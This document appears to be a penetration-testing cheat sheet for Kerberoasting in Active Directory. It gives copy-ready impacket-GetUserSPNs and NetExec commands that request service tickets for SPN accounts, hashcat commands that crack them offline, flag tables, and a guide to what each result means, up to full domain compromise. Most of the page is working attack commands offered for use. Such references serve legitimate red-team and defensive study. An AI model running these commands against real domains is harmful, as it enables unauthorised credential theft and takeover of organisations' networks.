# PrerequisitesValid domain user account - lowest privilege sufficient Service accounts with SPNs registered in AD # Attack Flowplain text ⧉ copy
Authenticate as any domain user → Query AD for SPN accounts → Request TGS ticket per SPN → DC returns ticket encrypted with service account hash → Crack offline (Hashcat mode 13100/19600/19700) → recover plaintext password → Authenticate as service account # Enumerate SPNs and Request Ticketsbash ⧉ copy
impacket-GetUserSPNs < domai n > / < usernam e > : < passwor d > -dc-ip < dc-i p > -request # Save to file impacket-GetUserSPNs < domai n > / < usernam e > : < passwor d > -dc-ip < dc-i p > -request -outputfile kerberoast_hashes.txt # Clean hash lines for Hashcat impacket-GetUserSPNs < domai n > / < usernam e > : < passwor d > -dc-ip < dc-i p > -request \ | grep '\$krb5tgs\$' \ | sed 'G' > spns.txt # Via NetExecbash ⧉ copy
nxc ldap < dc-i p > -u < usernam e > -p < passwor d > --kerberoast /tmp/kerberoast.txt # Crack the Ticketsbash ⧉ copy
# RC4 — most common hashcat -m 13100 kerberoast_hashes.txt < wordlis t > hashcat -m 13100 kerberoast_hashes.txt < wordlis t > -r /usr/share/hashcat/rules/best64.rule # AES128 / AES256 hashcat -m 19600 kerberoast_hashes.txt < wordlis t > hashcat -m 19700 kerberoast_hashes.txt < wordlis t > hashcat -m 13100 kerberoast_hashes.txt --show # Flag Referenceimpacket-GetUserSPNs
Flag Meaning <domain>/<user>:<pass>Domain credentials to authenticate and request tickets -dc-ip <ip>Domain Controller IP -requestRequest TGS tickets for discovered SPNs -outputfile <file>Save hashes to file
nxc
Flag Meaning ldapRequired protocol for Kerberoast module --kerberoast <file>Run enumeration, save tickets to file
# What Each Result Tells YouFinding Implication SPN accounts returned Attempt cracking on all RC4 encrypted ticket Weaker, faster to crack AES encrypted ticket Stronger, slower to crack Ticket cracked Test recovered creds for admin access Service account is Domain Admin Critical — full domain compromise